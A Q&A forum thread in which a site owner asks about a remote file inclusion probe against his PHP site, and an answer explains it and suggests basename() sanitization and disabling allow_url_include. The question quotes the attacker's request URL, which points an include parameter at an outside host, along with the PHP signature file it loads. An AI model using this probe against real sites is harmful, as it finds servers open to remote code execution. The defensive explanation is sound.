What bug does this hacker want to exploit?

Question

A guy called ShiroHige is trying to hacking my website.

He tries to open a page with this parameter:

mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???

If you look at that text file it is just a die(),

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

So what exploit is he trying to use (WordPress?)?

Edit 1:

I know he is trying use RFI.

Is there some popular script that are exploitable with that (Drupal, phpBB, etc.)?

Answer 1

An obvious one, just unsanitized include.
He is checking if the code gets executed.
If he finds his signature in a response, he will know that your site is ready to run whatever code he sends.

To prevent such attacks one have to strictly sanitize filenames, if they happen to be sent via HTTP requests.

A quick and cheap validation can be done using basename() function:

if (empty($_GET['page'])) 
    $_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
    header("HTTP/1.0 404 Not Found");
    $page="404.html";
}
include $page;

or using some regular expression.

There is also an extremely useful PHP configuration directive called

allow_url_include

which is set to off by default in modern PHP versions. So it protects you from such attacks automatically.